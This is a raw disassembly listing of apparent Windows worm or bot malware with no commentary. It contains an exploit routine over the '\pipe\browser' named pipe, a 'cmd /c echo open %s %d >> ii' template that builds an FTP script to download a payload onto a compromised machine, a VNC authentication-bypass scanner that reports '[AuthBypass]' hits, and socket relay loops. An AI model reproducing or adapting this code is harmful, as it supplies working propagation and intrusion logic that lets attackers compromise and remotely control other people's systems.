; N db 0FFh db 75h ; u db 8 db 0BEh ; Ύ db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; db 24h ; $ db 0DFh ; ί db 0FFh db 0FFh db 68h ; h db 74h ; t db 22h ; " db 43h ; C db 0 db 56h ; V db 50h ; P db 0E8h ; θ db 0A6h ; ¦ db 0DFh ; ί db 0 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; θ db 0A7h ; § db 0DBh ; Ϋ db 0 db 0 db 8Dh ; db 85h ; db 24h ; $ db 0DFh ; ί db 0FFh db 0FFh db 83h ; db 0C4h ; Δ db 1Ch db 89h ; db 85h ; db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; Έ db 58h ; X db 0D1h ; Ρ db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; θ db 44h ; D db 8Dh ; db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40DA13 ; --------------------------------------------------------------------------- db 0BEh ; Ύ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40DA13: ; CODE XREF: ___:0040DA0Cj push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call near ptr 27109BDh nop cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DA57 loc_40DA50: ; CODE XREF: ___:0040DB2Fj ; ___:0040DD05j ... xor al, al jmp loc_40DE9B ; --------------------------------------------------------------------------- loc_40DA57: ; CODE XREF: ___:0040DA4Ej push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41B590 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_43224C push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41C310 push 10h lea eax, [ebp-84h] push offset dword_432238 push eax mov dword ptr [ebp-88h], 3 call sub_41C310 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 2700000h test eax, eax jnz short loc_40DB34 loc_40DB26: ; CODE XREF: ___:0040DC00j push dword ptr [ebp-4] nop call near ptr 26609B7h jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DB34: ; CODE XREF: ___:0040DB24j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] call near ptr 2710000h nop push ebx call sub_41D081 push eax call sub_41B8D8 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41B590 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41B590 add esp, 20h call sub_41B8E2 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_4321E0[esi], bl jz short loc_40DBAB push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CDCCC jmp short loc_40DBBE ; --------------------------------------------------------------------------- loc_40DBAB: ; CODE XREF: ___:0040DB97j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_43222F+1) loc_40DBBE: ; CODE XREF: ___:0040DBA9j lea eax, [ebp-20h] push eax call sub_41C310 add esp, 0Ch call sub_41B8E2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41B8E2 cdq idiv edi mov eax, dword_4321D4[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41B4D5 mov edi, eax pop ecx cmp edi, ebx jz loc_40DB26 mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B590 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B590 mov eax, dword_4321DC[esi] push 7 add eax, edi push offset dword_4321C8 push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_432068 push eax call sub_41C310 mov eax, dword_4321D8[esi] add esp, 30h cmp byte_4321E0[esi], bl mov [ebp+0Ch], eax jz short loc_40DCB7 push 4 add eax, edi push offset dword_4CDCC4 push eax call sub_41C310 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_4321F8 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41C310 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41C310 add esp, 30h jmp short loc_40DCDF ; --------------------------------------------------------------------------- loc_40DCB7: ; CODE XREF: ___:0040DC68j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_4321F8 loc_40DCC8: ; CODE XREF: ___:0040DCDDj push 4 push esi push dword ptr [ebp+0Ch] call sub_41C310 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40DCC8 loc_40DCDF: ; CODE XREF: ___:0040DCB5j mov eax, [ebp+8] add eax, 42h push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40DD0A push dword ptr [ebp-4] nop call near ptr 26609B7h push edi call sub_41B0B1 pop ecx jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DD0A: ; CODE XREF: ___:0040DCF3j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41B590 lea eax, [ebp-70h] push 14h push eax push esi call sub_41C310 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276AC fstp qword ptr [esp] call sub_41C7BF call sub_41C798 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41C310 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40DD77 loc_40DD6F: ; CODE XREF: ___:0040DD72j inc eax test al, 3 jnz short loc_40DD6F mov [ebp+0Ch], eax loc_40DD77: ; CODE XREF: ___:0040DD6Dj lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41C310 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41B0B1 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41B590 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_41B590 add esp, 28h push ebx push ebx push 1 push ebx nop call near ptr 2700912h mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40DDE4: ; CODE XREF: ___:0040DE6Ej cmp dword ptr [ebp-0Ch], 2 jge loc_40DE79 push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40D8AD add esp, 2Ch test al, al jz short loc_40DE76 cmp [ebp-4Ch], ebx jz short loc_40DE68 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 2710000h test eax, eax jnz short loc_40DE4F call near ptr 26807C8h nop cmp eax, 3E5h jnz loc_40DA50 loc_40DE4F: ; CODE XREF: ___:0040DE3Cj push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 2680E00h cmp eax, 102h jnz short loc_40DE68 mov byte ptr [ebp+0Bh], 1 loc_40DE68: ; CODE XREF: ___:0040DE1Bj ; ___:0040DE62j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40DDE4 jmp short loc_40DE79 ; --------------------------------------------------------------------------- loc_40DE76: ; CODE XREF: ___:0040DE16j mov esi, [ebp-8] loc_40DE79: ; CODE XREF: ___:0040DDE8j ; ___:0040DE74j push dword ptr [ebp-4] mov edi, dword_427068 call edi push esi call sub_41B0B1 cmp [ebp-4Ch], ebx pop ecx jz short loc_40DE95 push dword ptr [ebp-4Ch] call edi loc_40DE95: ; CODE XREF: ___:0040DE8Ej cmp [ebp+0Bh], bl setnz al loc_40DE9B: ; CODE XREF: ___:0040DA52j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; db 0ECh ; μ db 81h ; db 0ECh ; μ db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; φ db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; π db 56h ; V db 50h ; P db 0E8h ; θ db 0D6h ; Φ db 0D6h ; Φ db 0 db 0 db 83h ; db 0C4h ; Δ db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; Η db 45h ; E db 0F0h ; π db 2 db 0 db 50h ; P db 90h ; db 0E8h ; θ db 2Bh ; + db 34h ; 4 db 6Ah ; j db 71h ; q db 0FFh db 0B5h ; ΅ db 0C4h ; Δ db 0 db 0 db 0 db 89h ; db 45h ; E db 0F4h ; τ db 90h ; db 0E8h ; θ db 6Ah ; j db 38h ; 8 db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; db 45h ; E db 0F2h ; ς db 90h ; db 0E8h ; θ db 37h ; 7 db 5Dh ; ] db 6Ah ; j db 71h ; q db 8Bh ; db 0D8h ; Ψ db 83h ; db 0FBh ; ϋ db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; π db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; db 0E8h ; θ db 5Eh ; ^ db 5Fh ; _ db 6Ah ; j db 71h ; q db 83h ; db 0F8h ; ψ db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; Ώ db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; db 35h ; 5 db 18h db 72h ; r db 42h ; B db 0 db 8Dh ; db 85h ; db 60h ; ` db 0FAh ; ϊ db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Φ db 0B8h ; Έ db 8 db 91h ; db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 0E0h ; ΰ db 0ACh ; ¬ db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; θ db 0DFh ; ί db 0CCh ; Μ db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 80h ; db 22h ; " db 43h ; C db 0 db 8Dh ; db 85h ; db 60h ; ` db 0FEh ; ώ db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; θ db 38h ; 8 db 0DAh ; Ϊ db 0 db 0 db 83h ; db 0C4h ; Δ db 1Ch db 8Dh ; db 85h ; db 60h ; ` db 0FEh ; ώ db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; θ db 87h ; db 0D0h ; Π db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; db 60h ; ` db 0FEh ; ώ db 0FFh db 0FFh db 50h ; P db 53h ; S db 0E8h ; θ db 8Ch ; db 3Bh ; ; db 6Ah ; j db 71h ; q db 90h ; db 83h ; db 0F8h ; ψ db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; ΐ db 0EBh ; λ db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; db 60h ; ` db 0FAh ; ϊ db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Φ db 53h ; S db 90h ; db 0E8h ; θ db 0E7h ; η db 3Ah ; : db 6Ah ; j db 71h ; q db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; Ι db 0C3h ; Γ dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h dd 90000007h, 262F3BE8h, 0FB834302h, 6AB87202h, 5E5F5801h ; --------------------------------------------------------------------------- pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call near ptr 71AB12F8h nop push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E0B0 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_40E0B0 mov edi, 400h push esi mov esi, dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CACE0 push [ebp+arg_0] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40E0B4 loc_40E0B0: ; CODE XREF: sub_40DFE2+50j ; sub_40DFE2+62j xor eax, eax jmp short loc_40E0CB ; --------------------------------------------------------------------------- loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j pop edi pop esi pop ebx leave retn sub_40DFE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp ; DATA XREF: ___:off_43143Co var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CAFE4 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CAFA4 push 6 push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E142 lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40E123 push esi jmp short loc_40E13C ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40E0D0+4Ej push 0 push 1213h push offset dword_4322F4 push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_40E146 loc_40E13C: ; CODE XREF: sub_40E0D0+51j nop call near ptr 71AB1A6Dh loc_40E142: ; CODE XREF: sub_40E0D0+3Cj xor eax, eax jmp short loc_40E188 ; --------------------------------------------------------------------------- loc_40E146: ; CODE XREF: sub_40E0D0+6Aj call near ptr 71AB1A6Dh nop push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DFE2 add esp, 0C0h test eax, eax jz short loc_40E185 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431440[eax] lea eax, dword_431440[eax] loc_40E185: ; CODE XREF: sub_40E0D0+9Ej push 1 pop eax loc_40E188: ; CODE XREF: sub_40E0D0+74j pop edi pop esi leave retn sub_40E0D0 endp ; =============== S U B R O U T I N E ======================================= sub_40E18C proc near ; CODE XREF: ___:0040E27Ap ; ___:0040E2DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40E194: ; CODE XREF: sub_40E18C+2Dj test edi, edi jle short loc_40E1BF mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CAFBC test eax, eax jz short loc_40E1BB cmp eax, 0FFFFFFFFh jz short loc_40E1BB sub edi, eax add esi, eax jmp short loc_40E194 ; --------------------------------------------------------------------------- loc_40E1BB: ; CODE XREF: sub_40E18C+22j ; sub_40E18C+27j xor eax, eax jmp short loc_40E1C2 ; --------------------------------------------------------------------------- loc_40E1BF: ; CODE XREF: sub_40E18C+Aj push 1 pop eax loc_40E1C2: ; CODE XREF: sub_40E18C+31j pop edi pop esi retn sub_40E18C endp ; =============== S U B R O U T I N E ======================================= sub_40E1C5 proc near ; CODE XREF: ___:0040E2C6p ; ___:0040E2F3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40E202 xor esi, esi test edi, edi jle short loc_40E1FC loc_40E1D5: ; CODE XREF: sub_40E1C5+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jz short loc_40E202 test eax, eax jz short loc_40E202 add esi, eax cmp esi, edi jl short loc_40E1D5 loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej push 1 pop eax loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40E202: ; CODE XREF: sub_40E1C5+8j ; sub_40E1C5+2Bj ... xor eax, eax jmp short loc_40E1FF sub_40E1C5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433538 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CB024 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40E234 push eax jmp short loc_40E268 ; --------------------------------------------------------------------------- loc_40E234: ; CODE XREF: ___:0040E22Fj lea eax, [ebp+0Ch] push eax call dword_4CAFE4 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CAFA4 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CAF4C cmp eax, 0FFFFFFFFh jnz short loc_40E273 push ebx loc_40E268: ; CODE XREF: ___:0040E232j call dword_4CB03C jmp loc_40E46E ; --------------------------------------------------------------------------- loc_40E273: ; CODE XREF: ___:0040E265j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41C645 add esp, 10h cmp eax, esi jnz loc_40E467 cmp dword ptr [ebp-28h], 3 jz short loc_40E2BF cmp dword ptr [ebp-20h], 8 jnz loc_40E467 loc_40E2BF: ; CODE XREF: ___:0040E2B3j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-2] push 1 push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40E467 push 1 push offset dword_4CAE5C push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41CFC5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40E3F7 push edi push esi push ebx call sub_40E18C add esp, 0Ch loc_40E3F7: ; CODE XREF: ___:0040E3EAj and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41B980 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409A72 lea eax, [ebp-24Ch] push eax call sub_4151AC mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431440[eax] push ebx lea eax, dword_431440[eax] nop call near ptr 71AB1A6Dh push 1 pop eax jmp short loc_40E470 ; --------------------------------------------------------------------------- loc_40E467: ; CODE XREF: ___:0040E284j ; ___:0040E2A9j ... push ebx nop call near ptr 71AB1A6Dh loc_40E46E: ; CODE XREF: ___:0040E26Ej xor eax, eax loc_40E470: ; CODE XREF: ___:0040E465j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E47E: ; CODE XREF: ___:0040E49Aj ; ___:0040E4B6j push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CDCE4 call dword_4CAFBC test eax, eax jle short loc_40E47E lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CDCE0 nop call near ptr 2700000h jmp short loc_40E47E ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E4C1: ; CODE XREF: ___:0040E4E7j ; ___:0040E501j lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CDCD4 nop call near ptr 2710000h cmp dword ptr [ebp-4], 0 jle short loc_40E4C1 push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CDCE4 call dword_4CAFF4 jmp short loc_40E4C1 ; --------------------------------------------------------------------------- byte_40E503 db 55h ; DATA XREF: sub_401ACD+2D0Do dword_40E504 dd 0EC81EC8Bh, 11Ch, 5308458Bh, 286A5756h, 8D59F08Bh, 0FFFEE4BDh dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h dd 0A415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0B02415FFh dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFD0h dd 75FF056Ah, 0CC15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h dd 57004270h, 875FF57h, 0B03815FFh, 0E4A3004Ch, 8D004CDCh dd 5057F445h, 4CDCE068h, 0DCDC6800h, 45C7004Ch, 0CF4h dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0D8685057h, 68004CDCh dd 4CDCD4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0DCA10000h dd 83004CDCh, 45890CC4h, 0DCD8A1BCh, 4589004Ch, 16A57C0h dd 6AC4458Dh, 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h dd 1FAFE890h, 0FF500231h, 4CDCD835h, 0A2E89000h, 5002311Fh dd 19E6E890h, 458D0231h, 458D50D8h, 57575084h, 9068h, 0F4458D04h dd 8D50016Ah, 6850F445h, 43353Ch, 51E89057h, 8D022526h dd 5750E845h, 0E4B86857h, 458D0040h, 0E85057F4h, 22719ACh dd 0EC458990h, 50E8458Dh, 75685757h, 8D0040E4h, 5057F445h dd 1992E890h, 0FF6A0227h, 0FFF04589h, 85E8D875h, 90022727h dd 0F075FF57h, 1FC4E890h, 0FF570228h, 0E890EC75h, 2281FBAh dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 2302558h dd 0DCDC35FFh, 0D6FF004Ch, 0DCE035FFh, 0D6FF004Ch, 0DCD435FFh dd 0D6FF004Ch, 0DCD835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h dd 0B0E9D6FFh, 0E9FFFFFEh, 0 ; --------------------------------------------------------------------------- push 0FFFEh push 400h call sub_418684 pop ecx mov dword_4CDCEC, eax pop ecx retn ; --------------------------------------------------------------------------- byte_40E6EF db 55h ; DATA XREF: sub_40BACD+34Do dd 0EC81EC8Bh, 6C0h, 5308458Bh, 276A5756h, 8D59F08Bh, 0FFFF50BDh dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h dd 0A415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh dd 4CB024h, 0CE83F88Bh, 75FE3BFFh, 0E45D3945h, 8D532075h dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 22CDE890h dd 858B022Dh, 0FFFFFF54h, 0C069106Ah, 234h, 0DEECB889h dd 458D0043h, 0FF5750ECh, 4CAFD015h, 0BBC63B00h, 400h dd 0CF850Fh, 15FF0000h, 4CAF38h, 27403Dh, 33477400h, 0E47539F6h dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh dd 224DE890h, 0FE68022Dh, 530000FFh, 9E63E8h, 0ECA35900h dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFD015h dd 75C63B00h, 3815FF54h, 33004CAFh, 0E47539F6h, 403D2775h dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah dd 90565959h, 2D21D2E8h, 57056A02h, 0AFCC15FFh, 0C63B004Ch dd 0D4840Fh, 45C70000h, 10FCh, 9108BE00h, 458D0042h, 858D50FCh dd 0FFFFFF40h, 15FF5750h, 4CB038h, 89FFF883h, 0E6740845h dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh dd 20068h, 75FF5000h, 0BC15FF08h, 83004CAFh, 9674FFF8h dd 35FF5656h, 4CACE0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h dd 35446850h, 858D0043h, 0FFFFF940h, 41E85053h, 830000D0h dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h dd 0FFFFF940h, 875FF50h, 0AFF415FFh, 0F883004Ch, 43840FFFh dd 0FFFFFFFFh, 4CDCF405h, 0FF38E900h, 0FF57FFFFh, 4CB03C15h dd 54B5FF00h, 0E8FFFFFFh, 